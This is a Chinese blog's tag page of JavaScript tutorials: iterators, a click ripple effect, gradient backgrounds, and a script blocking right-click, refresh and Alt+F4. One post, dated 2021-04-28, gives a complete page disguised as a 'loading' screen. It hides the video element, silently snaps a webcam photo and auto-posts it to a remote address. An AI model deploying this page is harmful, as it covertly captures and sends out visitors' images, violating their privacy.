标签 JS 下的文章 - 韩小韩博客 - 要变得更加完美。

2021-07-17

Javascript迭代器 {message type="info" content="我们都知道可以用 for...of... 来循环可迭代对象，例如循环"/}Array Arguments Map Set String TypedArray NodeList迭代器的工作原理创建一个指针，指向当前数据结构的起始位置第一次调用对象next方法，指针自动指向数据结构的第一个成员接下来不断调用next，指针一直往后移动，直到指向最后一个成员每调用一次next方法返回一个包含value和done属性的对象为什么Object不可以被迭代let arr = [1, 2, 3] let obj = { a: 1, b: 2, c: 3 } for(let val of arr) { console.log(val) } for(let val of obj) { console.log(val) }接着运行上面的代码，会出现以下报错信息： {callout color="#4d75ef"}可以看到，数组正常循环没有问题，但是到了obj，会报：obj is not iterable（obj不是一个可迭代对象、obj不可被迭代）这是为什么呢？将arr和obj分别使用 console.dir() 进行打印查看{/callout}{callout color="#ef4d7e"}可以看到，arr的原型上挂载着一个 Symbol[Symbol.iterator]，而obj的原型上并没有这个属性，因此这就是为什么obj不可以被迭代的原因但是如果非得让obj也成为一个可迭代对象，如何去实现呢？此时就需要给obj身上加上一个迭代器{/callout}let obj = { a: 1, b: 2, c: 3, [Symbol.iterator]: function () { let values = Object.values(obj) let index = 0 /* 必须得return 一个对象出去 */ return { /* 这是固定写法 */ next() { if (index >= values.length) { return { done: true // 此时迭代结束，就不需要再return value出去 } } else { return { value: values[index++], done: false } } } } } } for (let item of obj) { console.log(item) }{callout color="#f0ad4e"}运行上方的代码，此时obj已经可以使用 for...of... 进行循环，并且此时的obj已经是一个可迭代对象{/callout}迭代器利用for of 自定义遍历数据let obj = { a: 1, b: 2, c: [ '小韩', '小徐', '小悦' ], [Symbol.iterator]: function () { let idx = 0; const _c = this.c return { next() { return idx < _c.length ? { value: _c[idx++], done: false } : { value: undefined, done: true } } } } } let values = obj[Symbol.iterator]() console.log(values) // 得到迭代器对象，里面含有next方法 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为小韩 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为小徐 console.log(values.next()) // done:false(表示可以继续迭代)，并且value为小悦 console.log(values.next()) // done:true(表示迭代结束)总结{callout color="#964def"}迭代协议：规定迭代与实现的逻辑（也就是上面迭代器里的逻辑）迭代器：具体的迭代实现逻辑（也就是上面的迭代器函数）迭代对象：可被迭代的对象，已经实现[Symbol.iterator]方法的对象（就是上面加了迭代器后的obj）{/callout}

2021年07月17日
73 阅读
0 评论
3 点赞

2021-05-27

鼠标点击波纹特效 html+css+js 定义标签 <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div>卡片和文字的基本样式 .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; }{callout color="#f0ad4e"}cursor: pointer; 鼠标样式为小手。overflow: hidden; 子元素大小超出卡片区域的被隐藏。user-select: none; 文本不可选中。{/callout}js部分，见注释 <script> /* 获取元素 */ var card = document.querySelector('.card'); /* 绑定点击事件 */ card.addEventListener('click',function(e){ /* 获取鼠标点击的水平位置 */ let x = e.clientX - this.offsetLeft; /* 获取鼠标点击的垂直位置 */ let y = e.clientY - this.offsetTop; /* 创建一个span元素 */ let circle = document.createElement('span'); /* 为span元素添加定位的 left 属性 */ circle.style.left = x + 'px'; /* 为span元素添加定位的 top 属性 */ circle.style.top = y + 'px'; /* 卡片添加创建好的span元素 */ card.appendChild(circle); /* 1s后移除span元素 */ setInterval(function(){ circle.remove(); },1000) }) </script>添加上一步创建的 span 元素的css样式 .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } }{callout color="#f0ad4e"}position: absolute; 绝对定位。transform: translate(-50%,-50%); 向左和上移动自身宽度和高度的一半。animation: big 1s；定义动画，刚好1s完成动画。opacity: 1; 不透明。opacity: 0; 透明。{/callout}完整源码<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> *{ margin: 0; padding: 0; box-sizing: border-box; } body{ height: 100vh; display: flex; justify-content: center; align-items: center; background-image: radial-gradient(white,black); } .card{ width: 200px; height: 300px; box-shadow: 1px 1px 5px #555; cursor: pointer; background-color: rgb(243, 243, 243); position: relative; overflow: hidden; } .card h3,.card p{ padding: 5px; text-align: center; font-family: 'fangsong'; font-weight: bold; user-select: none; } .card span{ position: absolute; transform: translate(-50%,-50%); background-color: rgb(255, 254, 254); border-radius: 50%; animation: big 1s ; } @keyframes big{ 0%{ width: 0px; height: 0px; opacity: 1; } 100%{ width: 400px; height: 400px; opacity: 0; } } </style> </head> <body> <div class="card"> <img src="3.3.png" alt="x" width="100%"> <h3>北极光之夜</h3> <p > 生活下去,错误下去,堕落下去,为胜利而欢呼,从生命中重新创造生命! </p> </div> <script> var card = document.querySelector('.card'); card.addEventListener('click',function(e){ let x = e.clientX - this.offsetLeft; let y = e.clientY - this.offsetTop; let circle = document.createElement('span'); circle.style.left = x + 'px'; circle.style.top = y + 'px'; card.appendChild(circle); setInterval(function(){ circle.remove(); },1000) }) </script> </body> </html>{callout color="#f0ad4e"}转自ㅤㅤㅤ超简单的鼠标点击波纹特效 html+css+js - 掘金ㅤㅤㅤ作者：北极光之夜ㅤㅤㅤ地址：https://juejin.cn/post/6966634855656325156{/callout}

2021年05月27日
206 阅读
0 评论
0 点赞

2021-04-28

H5中JS调用摄像头截图拍照并发送 H5中JS调用摄像头截图拍照并发送<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>loding...</title> <style> body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1} </style> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <form action="截图好并发送的地址" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> <input type='hidden' name='mod' value='up'/> </form> </body> <script> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){ window.location.href = 'http://baidu.com'; }); } }, false); </script> </html>

2021年04月28日
459 阅读
2 评论
2 点赞

2019-07-29

网页用JS屏蔽各种按键代码网页屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键等按键<script> //屏蔽鼠标右键Ctrl+N、Shift+F10、F11、F5刷新、退格键 function document.oncontextmenu(){ event.returnValue = false; } //屏蔽鼠标右键 function window.onhelp(){ return false } //屏蔽F1帮助 function document.onkeydown(){ if ((window.event.altKey) && ((window.event.keyCode == 37) || //屏蔽Alt+方向键← (window.event.keyCode == 39))) { //屏蔽Alt+方向键→ alert("不准你使用ALT+方向键前进或后退网页！"); event.returnValue = false; } if ((event.keyCode == 8) || //屏蔽退格删除键 (event.keyCode == 116) || //屏蔽F5刷新键 (event.ctrlKey && event.keyCode == 82)) { //Ctrl+R event.keyCode = 0; event.returnValue = false; } if (event.keyCode == 122) { event.keyCode = 0; event.returnValue = false; } //屏蔽F11 if (event.ctrlKey && event.keyCode == 78) event.returnValue = false; //屏蔽Ctrl+n if (event.shiftKey && event.keyCode == 121) event.returnValue = false; //屏蔽shift+F10 if (window.event.srcElement.tagName == "A" && window.event.shiftKey) window.event.returnValue = false; //屏蔽shift加鼠标左键新开一网页 if ((window.event.altKey) && (window.event.keyCode == 115))} //屏蔽Alt+F4 window.showModelessDialog("about:blank", "", "dialogWidth:1px;dialogheight:1px"); return false; }} </script>

2019年07月29日
931 阅读
0 评论
1 点赞

2019-03-26

JS实现HTML动态渐变纯色背景+CSS动态渐变字 CSS代码：<style> #ishanColor { animation: change 10s infinite; } @keyframes change { 0% { color: #66e616; } 25% { color: #556bd8; } 50% { color: #e40707; } 75% { color: #5cb85c; } 100% { color: #e7e97d; } } </style>JS实现HTML动态渐变纯色背景效果图：JS代码：<script> $(function () { var sec = 5; var sz = new Array('rgba(255,20,147,0.6)', 'rgba(152,251,152,0.6)', 'rgba(135,206,250)', 'rgba(0,255,255,0.6)', 'rgba(255,165,0,0.6)', 'rgba(186,85,211,0.6)'); timestar = setInterval(function () { if (sec >= 0) { document.body.style.background = sz[sec]; sec--; } else { sec = 5; } }, 1000); }) </script>CSS代码：body{ color: black background:white; transition: 3s; }

2019年03月26日
1,579 阅读
0 评论
0 点赞

2019-03-21

2019年03月21日
1,233 阅读
4 评论
0 点赞